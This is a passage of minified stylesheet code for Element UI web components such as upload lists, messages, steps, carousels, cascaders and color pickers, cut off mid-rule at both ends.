cubic-bezier(0.55,0,0.1,1);transition:all 0.5s cubic-bezier(0.55,0,0.1,1);font-size:14px;color:#606266;line-height:1.8;margin-top:5px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:4px;width:100%;}.el-upload-list__item .el-progress{position:absolute;top:20px;width:100%;}.el-upload-list__item .el-progress__text{position:absolute;right:0;top:-13px;}.el-upload-list__item .el-progress-bar{margin-right:0;padding-right:0;}.el-upload-list__item:first-child{margin-top:10px;}.el-upload-list__item .el-icon-upload-success{color:#67c23a;}.el-upload-list__item .el-icon-close{display:none;position:absolute;top:5px;right:5px;cursor:pointer;opacity:.75;color:#606266;}.el-upload-list__item .el-icon-close:hover{opacity:1;}.el-upload-list__item .el-icon-close-tip{display:none;position:absolute;top:5px;right:5px;font-size:12px;cursor:pointer;opacity:1;color:#387ef5;}.el-upload-list__item:hover{background-color:#f5f7fa;}.el-upload-list__item:hover .el-icon-close{display:inline-block;}.el-upload-list__item:hover .el-progress__text{display:none;}.el-upload-list__item.is-success .el-upload-list__item-status-label{display:block;}.el-upload-list__item.is-success .el-upload-list__item-name:hover,.el-upload-list__item.is-success .el-upload-list__item-name:focus{color:#387ef5;cursor:pointer;}.el-upload-list__item.is-success:focus:not(:hover){}.el-upload-list__item.is-success:focus:not(:hover) .el-icon-close-tip{display:inline-block;}.el-upload-list__item.is-success:not(.focusing):focus,.el-upload-list__item.is-success:active{outline-width:0;}.el-upload-list__item.is-success:not(.focusing):focus .el-icon-close-tip,.el-upload-list__item.is-success:active .el-icon-close-tip{display:none;}.el-upload-list__item.is-success:hover .el-upload-list__item-status-label,.el-upload-list__item.is-success:focus .el-upload-list__item-status-label{display:none;}.el-upload-list.is-disabled .el-upload-list__item:hover .el-upload-list__item-status-label{display:block;}.el-upload-list__item-name{color:#606266;display:block;margin-right:40px;overflow:hidden;padding-left:4px;text-overflow:ellipsis;-webkit-transition:color .3s;transition:color .3s;white-space:nowrap;}.el-upload-list__item-name [class^=\"el-icon\"]{height:100%;margin-right:7px;color:#909399;line-height:inherit;}.el-upload-list__item-status-label{position:absolute;right:5px;top:0;line-height:inherit;display:none;}.el-upload-list__item-delete{position:absolute;right:10px;top:0;font-size:12px;color:#606266;display:none;}.el-upload-list__item-delete:hover{color:#387ef5;}.el-upload-list--picture-card{margin:0;display:inline;vertical-align:top;}.el-upload-list--picture-card .el-upload-list__item{overflow:hidden;background-color:#fff;border:1px solid #c0ccda;border-radius:6px;-webkit-box-sizing:border-box;box-sizing:border-box;width:148px;height:148px;margin:0 8px 8px 0;display:inline-block;}.el-upload-list--picture-card .el-upload-list__item .el-icon-check,.el-upload-list--picture-card .el-upload-list__item .el-icon-circle-check{color:#fff;}.el-upload-list--picture-card .el-upload-list__item .el-icon-close{display:none;}.el-upload-list--picture-card .el-upload-list__item:hover .el-upload-list__item-status-label{display:none;}.el-upload-list--picture-card .el-upload-list__item:hover .el-progress__text{display:block;}.el-upload-list--picture-card .el-upload-list__item-name{display:none;}.el-upload-list--picture-card .el-upload-list__item-thumbnail{width:100%;height:100%;}.el-upload-list--picture-card .el-upload-list__item-status-label{position:absolute;right:-15px;top:-6px;width:40px;height:24px;background:#13ce66;text-align:center;-webkit-transform:rotate(45deg);transform:rotate(45deg);-webkit-box-shadow:0 0 1pc 1px rgba(0,0,0,0.2);box-shadow:0 0 1pc 1px rgba(0,0,0,0.2);}.el-upload-list--picture-card .el-upload-list__item-status-label i{font-size:12px;margin-top:11px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);}.el-upload-list--picture-card .el-upload-list__item-actions{position:absolute;width:100%;height:100%;left:0;top:0;cursor:default;text-align:center;color:#fff;opacity:0;font-size:20px;background-color:rgba(0,0,0,0.5);-webkit-transition:opacity .3s;transition:opacity .3s;}.el-upload-list--picture-card .el-upload-list__item-actions::after{display:inline-block;height:100%;vertical-align:middle;}.el-upload-list--picture-card .el-upload-list__item-actions span{display:none;cursor:pointer;}.el-upload-list--picture-card .el-upload-list__item-actions span + span{margin-left:15px;}.el-upload-list--picture-card .el-upload-list__item-actions .el-upload-list__item-delete{position:static;font-size:inherit;color:inherit;}.el-upload-list--picture-card .el-upload-list__item-actions:hover{opacity:1;}.el-upload-list--picture-card .el-upload-list__item-actions:hover span{display:inline-block;}.el-upload-list--picture-card .el-progress{top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);bottom:auto;width:126px;}.el-upload-list--picture-card .el-progress .el-progress__text{top:50%;}.el-upload-list--picture .el-upload-list__item{overflow:hidden;z-index:0;background-color:#fff;border:1px solid #c0ccda;border-radius:6px;-webkit-box-sizing:border-box;box-sizing:border-box;margin-top:10px;padding:10px 10px 10px 90px;height:92px;}.el-upload-list--picture .el-upload-list__item .el-icon-check,.el-upload-list--picture .el-upload-list__item .el-icon-circle-check{color:#fff;}.el-upload-list--picture .el-upload-list__item:hover .el-upload-list__item-status-label{background:transparent;-webkit-box-shadow:none;box-shadow:none;top:-2px;right:-12px;}.el-upload-list--picture .el-upload-list__item:hover .el-progress__text{display:block;}.el-upload-list--picture .el-upload-list__item.is-success .el-upload-list__item-name{line-height:70px;margin-top:0;}.el-upload-list--picture .el-upload-list__item.is-success .el-upload-list__item-name i{display:none;}.el-upload-list--picture .el-upload-list__item-thumbnail{vertical-align:middle;display:inline-block;width:70px;height:70px;float:left;position:relative;z-index:1;margin-left:-80px;}.el-upload-list--picture .el-upload-list__item-name{display:block;margin-top:20px;}.el-upload-list--picture .el-upload-list__item-name i{font-size:70px;line-height:1;position:absolute;left:9px;top:10px;}.el-upload-list--picture .el-upload-list__item-status-label{position:absolute;right:-17px;top:-7px;width:46px;height:26px;background:#13ce66;text-align:center;-webkit-transform:rotate(45deg);transform:rotate(45deg);-webkit-box-shadow:0 1px 1px #ccc;box-shadow:0 1px 1px #ccc;}.el-upload-list--picture .el-upload-list__item-status-label i{font-size:12px;margin-top:12px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);}.el-upload-list--picture .el-progress{position:relative;top:-7px;}.el-upload-cover{position:absolute;left:0;top:0;width:100%;height:100%;overflow:hidden;z-index:10;cursor:default;}.el-upload-cover::after{display:inline-block;height:100%;vertical-align:middle;}.el-upload-cover img{display:block;width:100%;height:100%;}.el-upload-cover__label{position:absolute;right:-15px;top:-6px;width:40px;height:24px;background:#13ce66;text-align:center;-webkit-transform:rotate(45deg);transform:rotate(45deg);-webkit-box-shadow:0 0 1pc 1px rgba(0,0,0,0.2);box-shadow:0 0 1pc 1px rgba(0,0,0,0.2);}.el-upload-cover__label i{font-size:12px;margin-top:11px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);color:#fff;}.el-upload-cover__progress{display:inline-block;vertical-align:middle;position:static;width:243px;}.el-upload-cover__progress + .el-upload__inner{opacity:0;}.el-upload-cover__content{position:absolute;top:0;left:0;width:100%;height:100%;}.el-upload-cover__interact{position:absolute;bottom:0;left:0;width:100%;height:100%;background-color:rgba(0,0,0,0.72);text-align:center;}.el-upload-cover__interact .btn{display:inline-block;color:#fff;font-size:14px;cursor:pointer;vertical-align:middle;-webkit-transition:opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);transition:opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);transition:transform 300ms cubic-bezier(0.23,1,0.32,1),opacity 300ms cubic-bezier(0.23,1,0.32,1);transition:transform 300ms cubic-bezier(0.23,1,0.32,1),opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);margin-top:60px;}.el-upload-cover__interact .btn i{margin-top:0;}.el-upload-cover__interact .btn span{opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear;}.el-upload-cover__interact .btn:not(:first-child){margin-left:35px;}.el-upload-cover__interact .btn:hover{-webkit-transform:translateY(-13px);transform:translateY(-13px);}.el-upload-cover__interact .btn:hover span{opacity:1;}.el-upload-cover__interact .btn i{color:#fff;display:block;font-size:24px;line-height:inherit;margin:0 auto 5px;}.el-upload-cover__title{position:absolute;bottom:0;left:0;background-color:#fff;height:36px;width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-weight:normal;text-align:left;padding:0 10px;margin:0;line-height:36px;font-size:14px;color:#303133;}.el-upload-cover + .el-upload__inner{opacity:0;position:relative;z-index:1;}.el-time-spinner{width:100%;white-space:nowrap;}.el-spinner{display:inline-block;vertical-align:middle;}.el-spinner-inner{-webkit-animation:rotate 2s linear infinite;animation:rotate 2s linear infinite;width:50px;height:50px;}.el-spinner-inner .path{stroke:#ececec;stroke-linecap:round;-webkit-animation:dash 1.5s ease-in-out infinite;animation:dash 1.5s ease-in-out infinite;}@-webkit-keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg);}}@keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg);}}@-webkit-keyframes dash{0%{stroke-dasharray:1,150;stroke-dashoffset:0;}50%{stroke-dasharray:90,150;stroke-dashoffset:-35;}100%{stroke-dasharray:90,150;stroke-dashoffset:-124;}}@keyframes dash{0%{stroke-dasharray:1,150;stroke-dashoffset:0;}50%{stroke-dasharray:90,150;stroke-dashoffset:-35;}100%{stroke-dasharray:90,150;stroke-dashoffset:-124;}}.el-message{min-width:380px;-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:4px;border-width:1px;border-style:solid;border-color:#ebeef5;position:fixed;left:50%;top:20px;-webkit-transform:translateX(-50%);transform:translateX(-50%);background-color:#edf2fc;-webkit-transition:opacity 0.3s,-webkit-transform .4s;transition:opacity 0.3s,-webkit-transform .4s;transition:opacity 0.3s,transform .4s;transition:opacity 0.3s,transform .4s,-webkit-transform .4s;overflow:hidden;padding:15px 15px 15px 20px;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}.el-message.is-center{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}.el-message.is-closable .el-message__content{padding-right:16px;}.el-message p{margin:0;}.el-message--info .el-message__content{color:#909399;}.el-message--success{background-color:#f0f9eb;border-color:#e1f3d8;}.el-message--success .el-message__content{color:#67c23a;}.el-message--warning{background-color:#fdf6ec;border-color:#faecd8;}.el-message--warning .el-message__content{color:#e6a23c;}.el-message--error{background-color:#fef0f0;border-color:#fde2e2;}.el-message--error .el-message__content{color:#f56c6c;}.el-message__icon{margin-right:10px;}.el-message__content{padding:0;font-size:14px;line-height:1;}.el-message__content:focus{outline-width:0;}.el-message__closeBtn{position:absolute;top:50%;right:15px;-webkit-transform:translateY(-50%);transform:translateY(-50%);cursor:pointer;color:#c0c4cc;font-size:16px;}.el-message__closeBtn:focus{outline-width:0;}.el-message__closeBtn:hover{color:#909399;}.el-message .el-icon-success{color:#67c23a;}.el-message .el-icon-error{color:#f56c6c;}.el-message .el-icon-info{color:#909399;}.el-message .el-icon-warning{color:#e6a23c;}.el-message-fade-enter,.el-message-fade-leave-active{opacity:0;-webkit-transform:translate(-50%,-100%);transform:translate(-50%,-100%);}.el-badge{position:relative;vertical-align:middle;display:inline-block;}.el-badge__content{background-color:#f56c6c;border-radius:10px;color:#fff;display:inline-block;font-size:12px;height:18px;line-height:18px;padding:0 6px;text-align:center;white-space:nowrap;border:1px solid #fff;}.el-badge__content.is-fixed{position:absolute;top:0;right:10px;-webkit-transform:translateY(-50%) translateX(100%);transform:translateY(-50%) translateX(100%);}.el-badge__content.is-fixed.is-dot{right:5px;}.el-badge__content.is-dot{height:8px;width:8px;padding:0;right:0;border-radius:50%;}.el-card{border-radius:4px;border:1px solid #ebeef5;background-color:#fff;overflow:hidden;color:#303133;-webkit-transition:0.3s;transition:0.3s;}.el-card.is-always-shadow{-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);}.el-card.is-hover-shadow:hover,.el-card.is-hover-shadow:focus{-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);}.el-card__header{padding:18px 20px;border-bottom:1px solid #ebeef5;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-card__body{padding:20px;}.el-rate{height:20px;line-height:1;}.el-rate:focus,.el-rate:active{outline-width:0;}.el-rate__item{display:inline-block;position:relative;font-size:0;vertical-align:middle;}.el-rate__icon{position:relative;display:inline-block;font-size:18px;margin-right:6px;color:#c0c4cc;-webkit-transition:.3s;transition:.3s;}.el-rate__icon.hover{-webkit-transform:scale(1.15);transform:scale(1.15);}.el-rate__icon .path2{position:absolute;left:0;top:0;}.el-rate__decimal{position:absolute;top:0;left:0;display:inline-block;overflow:hidden;}.el-rate__text{font-size:14px;vertical-align:middle;}.el-steps{display:-webkit-box;display:-ms-flexbox;display:flex;}.el-steps--simple{padding:13px 8%;border-radius:4px;background:#f5f7fa;}.el-steps--horizontal{white-space:nowrap;}.el-steps--vertical{height:100%;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-flow:column;flex-flow:column;}.el-step{position:relative;-ms-flex-negative:1;flex-shrink:1;}.el-step:last-of-type .el-step__line{display:none;}.el-step:last-of-type.is-flex{-ms-flex-preferred-size:auto !important;flex-basis:auto !important;-ms-flex-negative:0;flex-shrink:0;-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0;}.el-step:last-of-type .el-step__main,.el-step:last-of-type .el-step__description{padding-right:0;}.el-step__head{position:relative;width:100%;}.el-step__head.is-process{color:#303133;border-color:#303133;}.el-step__head.is-wait{color:#c0c4cc;border-color:#c0c4cc;}.el-step__head.is-success{color:#67c23a;border-color:#67c23a;}.el-step__head.is-error{color:#f56c6c;border-color:#f56c6c;}.el-step__head.is-finish{color:#387ef5;border-color:#387ef5;}.el-step__icon{position:relative;z-index:1;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;width:24px;height:24px;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box;background:#fff;-webkit-transition:.15s ease-out;transition:.15s ease-out;}.el-step__icon.is-text{border-radius:50%;border:2px solid;border-color:inherit;}.el-step__icon.is-icon{width:40px;}.el-step__icon-inner{display:inline-block;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;text-align:center;font-weight:bold;line-height:1;color:inherit;}.el-step__icon-inner[class*=el-icon]:not(.is-status){font-size:25px;font-weight:normal;}.el-step__icon-inner.is-status{-webkit-transform:translateY(1px);transform:translateY(1px);}.el-step__line{position:absolute;border-color:inherit;background-color:#c0c4cc;}.el-step__line-inner{display:block;border-width:1px;border-style:solid;border-color:inherit;-webkit-transition:.15s ease-out;transition:.15s ease-out;-webkit-box-sizing:border-box;box-sizing:border-box;width:0;height:0;}.el-step__main{white-space:normal;text-align:left;}.el-step__title{font-size:16px;line-height:38px;}.el-step__title.is-process{font-weight:bold;color:#303133;}.el-step__title.is-wait{color:#c0c4cc;}.el-step__title.is-success{color:#67c23a;}.el-step__title.is-error{color:#f56c6c;}.el-step__title.is-finish{color:#387ef5;}.el-step__description{padding-right:10%;margin-top:-5px;font-size:12px;line-height:20px;font-weight:normal;}.el-step__description.is-process{color:#303133;}.el-step__description.is-wait{color:#c0c4cc;}.el-step__description.is-success{color:#67c23a;}.el-step__description.is-error{color:#f56c6c;}.el-step__description.is-finish{color:#387ef5;}.el-step.is-horizontal{display:inline-block;}.el-step.is-horizontal .el-step__line{height:2px;top:11px;left:0;right:0;}.el-step.is-vertical{display:-webkit-box;display:-ms-flexbox;display:flex;}.el-step.is-vertical .el-step__head{-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0;width:24px;}.el-step.is-vertical .el-step__main{padding-left:10px;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;}.el-step.is-vertical .el-step__title{line-height:24px;padding-bottom:8px;}.el-step.is-vertical .el-step__line{width:2px;top:0;bottom:0;left:11px;}.el-step.is-vertical .el-step__icon.is-icon{width:24px;}.el-step.is-center .el-step__head{text-align:center;}.el-step.is-center .el-step__main{text-align:center;}.el-step.is-center .el-step__description{padding-left:20%;padding-right:20%;}.el-step.is-center .el-step__line{left:50%;right:-50%;}.el-step.is-simple{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}.el-step.is-simple .el-step__head{width:auto;font-size:0;padding-right:10px;}.el-step.is-simple .el-step__icon{background:transparent;width:16px;height:16px;font-size:12px;}.el-step.is-simple .el-step__icon-inner[class*=el-icon]:not(.is-status){font-size:18px;}.el-step.is-simple .el-step__icon-inner.is-status{-webkit-transform:scale(0.8) translateY(1px);transform:scale(0.8) translateY(1px);}.el-step.is-simple .el-step__main{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;}.el-step.is-simple .el-step__title{font-size:16px;line-height:20px;}.el-step.is-simple:not(:last-of-type) .el-step__title{max-width:50%;word-break:break-all;}.el-step.is-simple .el-step__arrow{-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}.el-step.is-simple .el-step__arrow::before,.el-step.is-simple .el-step__arrow::after{display:inline-block;position:absolute;height:15px;width:1px;background:#c0c4cc;}.el-step.is-simple .el-step__arrow::before{-webkit-transform:rotate(-45deg) translateY(-4px);transform:rotate(-45deg) translateY(-4px);-webkit-transform-origin:0 0;transform-origin:0 0;}.el-step.is-simple .el-step__arrow::after{-webkit-transform:rotate(45deg) translateY(4px);transform:rotate(45deg) translateY(4px);-webkit-transform-origin:100% 100%;transform-origin:100% 100%;}.el-step.is-simple:last-of-type .el-step__arrow{display:none;}.el-carousel{overflow-x:hidden;position:relative;}.el-carousel__container{position:relative;height:300px;}.el-carousel__arrow{border:none;outline:none;padding:0;margin:0;height:36px;width:36px;cursor:pointer;-webkit-transition:.3s;transition:.3s;border-radius:50%;background-color:rgba(31,45,61,0.11);color:#fff;position:absolute;top:50%;z-index:10;-webkit-transform:translateY(-50%);transform:translateY(-50%);text-align:center;font-size:12px;}.el-carousel__arrow--left{left:16px;}.el-carousel__arrow--right{right:16px;}.el-carousel__arrow:hover{background-color:rgba(31,45,61,0.23);}.el-carousel__arrow i{cursor:pointer;}.el-carousel__indicators{position:absolute;list-style:none;bottom:0;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);margin:0;padding:0;z-index:2;}.el-carousel__indicators--outside{bottom:26px;text-align:center;position:static;-webkit-transform:none;transform:none;}.el-carousel__indicators--outside .el-carousel__indicator:hover button{opacity:0.64;}.el-carousel__indicators--outside button{background-color:#c0c4cc;opacity:0.24;}.el-carousel__indicators--labels{left:0;right:0;-webkit-transform:none;transform:none;text-align:center;}.el-carousel__indicators--labels .el-carousel__button{height:auto;width:auto;padding:2px 18px;font-size:12px;}.el-carousel__indicators--labels .el-carousel__indicator{padding:6px 4px;}.el-carousel__indicator{display:inline-block;background-color:transparent;padding:12px 4px;cursor:pointer;}.el-carousel__indicator:hover button{opacity:0.72;}.el-carousel__indicator.is-active button{opacity:1;}.el-carousel__button{display:block;opacity:0.48;width:30px;height:2px;background-color:#fff;border:none;outline:none;padding:0;margin:0;cursor:pointer;-webkit-transition:.3s;transition:.3s;}.carousel-arrow-left-enter,.carousel-arrow-left-leave-active{-webkit-transform:translateY(-50%) translateX(-10px);transform:translateY(-50%) translateX(-10px);opacity:0;}.carousel-arrow-right-enter,.carousel-arrow-right-leave-active{-webkit-transform:translateY(-50%) translateX(10px);transform:translateY(-50%) translateX(10px);opacity:0;}.el-carousel__item{position:absolute;top:0;left:0;width:100%;height:100%;display:inline-block;overflow:hidden;z-index:0;}.el-carousel__item.is-active{z-index:2;}.el-carousel__item.is-animating{-webkit-transition:-webkit-transform .4s ease-in-out;transition:-webkit-transform .4s ease-in-out;transition:transform .4s ease-in-out;transition:transform .4s ease-in-out,-webkit-transform .4s ease-in-out;}.el-carousel__item--card{width:50%;-webkit-transition:-webkit-transform .4s ease-in-out;transition:-webkit-transform .4s ease-in-out;transition:transform .4s ease-in-out;transition:transform .4s ease-in-out,-webkit-transform .4s ease-in-out;}.el-carousel__item--card.is-in-stage{cursor:pointer;z-index:1;}.el-carousel__item--card.is-in-stage:hover .el-carousel__mask,.el-carousel__item--card.is-in-stage.is-hover .el-carousel__mask{opacity:0.12;}.el-carousel__item--card.is-active{z-index:2;}.el-carousel__mask{position:absolute;width:100%;height:100%;top:0;left:0;background-color:#fff;opacity:0.24;-webkit-transition:.2s;transition:.2s;}.el-collapse{border-top:1px solid #ebeef5;border-bottom:1px solid #ebeef5;}.el-collapse-item__header{height:48px;line-height:48px;background-color:#fff;color:#303133;cursor:pointer;border-bottom:1px solid #ebeef5;font-size:13px;font-weight:500;-webkit-transition:border-bottom-color .3s;transition:border-bottom-color .3s;outline:none;}.el-collapse-item__arrow{margin-right:8px;-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;float:right;line-height:48px;font-weight:300;}.el-collapse-item__arrow.is-active{-webkit-transform:rotate(90deg);transform:rotate(90deg);}.el-collapse-item__header.focusing:focus:not(:hover){color:#387ef5;}.el-collapse-item__header.is-active{border-bottom-color:transparent;}.el-collapse-item__wrap{will-change:height;background-color:#fff;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;border-bottom:1px solid #ebeef5;}.el-collapse-item__content{padding-bottom:25px;font-size:13px;color:#303133;line-height:1.769230769230769;}.el-collapse-item:last-child{margin-bottom:-1px;}.el-cascader{display:inline-block;position:relative;font-size:14px;line-height:40px;}.el-cascader .el-input,.el-cascader .el-input__inner{cursor:pointer;}.el-cascader .el-input__icon{-webkit-transition:none;transition:none;}.el-cascader .el-icon-arrow-down{-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;font-size:14px;}.el-cascader .el-icon-arrow-down.is-reverse{-webkit-transform:rotateZ(180deg);transform:rotateZ(180deg);}.el-cascader .el-icon-circle-close{z-index:2;-webkit-transition:color 0.2s cubic-bezier(0.645,0.045,0.355,1);transition:color 0.2s cubic-bezier(0.645,0.045,0.355,1);}.el-cascader .el-icon-circle-close:hover{color:#909399;}.el-cascader__clearIcon{z-index:2;position:relative;}.el-cascader__label{position:absolute;left:0;top:0;height:100%;padding:0 25px 0 15px;color:#606266;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;text-align:left;font-size:inherit;}.el-cascader__label span{color:#000;}.el-cascader--medium{font-size:14px;line-height:36px;}.el-cascader--small{font-size:13px;line-height:32px;}.el-cascader--mini{font-size:12px;line-height:28px;}.el-cascader.is-disabled .el-cascader__label{z-index:2;color:#c0c4cc;}.el-cascader-menus{white-space:nowrap;background:#fff;position:absolute;margin:5px 0;z-index:2;border:solid 1px #e4e7ed;border-radius:2px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);}.el-cascader-menu{display:inline-block;vertical-align:top;height:204px;overflow:auto;border-right:solid 1px #e4e7ed;background-color:#fff;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;padding:6px 0;min-width:160px;}.el-cascader-menu:last-child{border-right:0;}.el-cascader-menu__item{font-size:14px;padding:8px 20px;position:relative;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;color:#606266;height:34px;line-height:1.5;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;outline:none;}.el-cascader-menu__item--extensible:after{font-family:\"element-icons\";content:;font-size:14px;color:#bfcbd9;position:absolute;right:15px;}.el-cascader-menu__item.is-disabled{color:#c0c4cc;background-color:#fff;cursor:not-allowed;}.el-cascader-menu__item.is-disabled:hover{background-color:#fff;}.el-cascader-menu__item.is-active{color:#387ef5;}.el-cascader-menu__item:hover,.el-cascader-menu__item:focus:not(:active){background-color:#f5f7fa;}.el-cascader-menu__item.selected{color:#fff;background-color:#f5f7fa;}.el-cascader-menu__item__keyword{font-weight:bold;}.el-cascader-menu--flexible{height:auto;max-height:180px;overflow:auto;}.el-cascader-menu--flexible .el-cascader-menu__item{overflow:visible;}.el-color-predefine{display:-webkit-box;display:-ms-flexbox;display:flex;font-size:12px;margin-top:8px;width:280px;}.el-color-predefine__colors{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1;flex:1;-ms-flex-wrap:wrap;flex-wrap:wrap;}.el-color-predefine__color-selector{margin:0 0 8px 8px;width:20px;height:20px;border-radius:4px;cursor:pointer;}.el-color-predefine__color-selector:nth-child(10n + 1){margin-left:0;}.el-color-predefine__color-selector.selected{-webkit-box-shadow:0 0 3px 2px #387ef5;box-shadow:0 0 3px 2px #387ef5;}.el-color-predefine__color-selector > div{display:-webkit-box;display:-ms-flexbox;display:flex;height:100%;border-radius:3px;}.el-color-predefine__color-selector.is-alpha{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==);}.el-color-hue-slider{position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;width:280px;height:12px;background-color:#f00;padding:0 2px;}.el-color-hue-slider__bar{position:relative;background:-webkit-gradient(linear,left top,right top,from(#f00),color-stop(17%,#ff0),color-stop(33%,#0f0),color-stop(50%,#0ff),color-stop(67%,#00f),color-stop(83%,#f0f),to(#f00));background:linear-gradient(to right,#f00 0%,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%);height:100%;}.el-color-hue-slider__thumb{position:absolute;cursor:pointer;-webkit-box-sizing:border-box;box-sizing:border-box;left:0;top:0;width:4px;height:100%;border-radius:1px;background:#fff;border:1px solid #f0f0f0;-webkit-box-shadow:0 0 2px rgba(0,0,0,0.6);box-shadow:0 0 2px rgba(0,0,0,0.6);z-index:1;}.el-color-hue-slider.is-vertical{width:12px;height:180px;padding:2px 0;}.el-color-hue-slider.is-vertical .el-color-hue-slider__bar{background:-webkit-gradient(linear,left top,left bottom,from(#f00),color-stop(17%,#ff0),color-stop(33%,#0f0),color-stop(50%,#0ff),color-stop(67%,#00f),color-stop(83%,#f0f),to(#f00));background:linear-gradient(to bottom,#f00 0%,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%);}.el-color-hue-slider.is-vertical .el-color-hue-slider__thumb{left:0;top:0;width:100%;height:4px;}.el-color-svpanel{position:relative;width:280px;height:180px;}.el-color-svpanel__white,.el-color-svpanel__black{position:absolute;top:0;left:0;right:0;bottom:0;}.el-color-svpanel__white{background:-webkit-gradient(linear,left top,right top,from(#fff),to(rgba(255,255,255,0)));background:linear-gradient(to right,#fff,rgba(255,255,255,0));}.el-color-svpanel__black{background:-webkit-gradient(linear,left bottom,left top,from(#000),to(rgba(0,0,0,0)));background:linear-gradient(to top,#000,rgba(0,0,0,0));}.el-color-svpanel__cursor{position:absolute;}.el-color-svpanel__cursor > div{cursor:head;width:4px;height:4px;-webkit-box-shadow:0 0 0 1.5px #fff,inset 0 0 1px 1px rgba(0,0,0,0.3),0 0 1px 2px rgba(0,0,0,0.4);box-shadow:0 0 0 1.5px #fff,inset 0 0 1px 1px rgba(0,0,0,0.3),0 0 1px 2px rgba(0,0,0,0.4);border-radius:50%;-webkit-transform:translate(-2px,-2px);transform:translate(-2px,-2px);}.el-color-alpha-slider{position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;width:280px;height:12px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==);}.el-color-alpha-slider__bar{position:relative;background:-webkit-gradient(linear,left top,right top,from(rgba(255,255,255,0)),to(white));background:linear-gradient(to right,rgba(255,255,255,0) 0%,white 100%);height:100%;}.el-color-alpha-slider__thumb{position:absolute;cursor:pointer;-webkit-box-sizing:border-box;box-sizing:border-box;left:0;top:0;width:4px;height:100%;border-radius:1px;background:#fff;border:1px solid #f0f0f0;-webkit-box-shadow:0 0 2px rgba(0,0,0,0.6);box-shadow:0 0 2px rgba(0,0,0,0.6);z-index:1;}.el-color-alpha-slider.is-vertical{width:20px;height:180px;}.el-color-alpha-slider.is-vertical .el-color-alpha-slider__bar{background:-webkit-gradient(linear,left top,left bottom,from(rgba(255,255,255,0)),to(white));background:linear-gradient(to bottom,rgba(255,255,255,0) 0%,white 100%);}.el-color-alpha-slider.is-vertical .el-color-alpha-slider__thumb{left:0;top:0;width:100%;height:4px;}.el-color-dropdown{width:300px;}.el-color-dropdown__main-wrapper{margin-bottom:6px;}.el-color-dropdown__main-wrapper::after{;display:table;clear:both;}.el-color-dropdown__btns{margin-top:6px;text-align:right;}.el-color-dropdown__value{float:left;line-height:26px;font-size:12px;color:#000;width:160px;}.el-color-dropdown__btn{border:1px solid #dcdcdc;color:#333;line-height:24px;border-radius:2px;padding:0 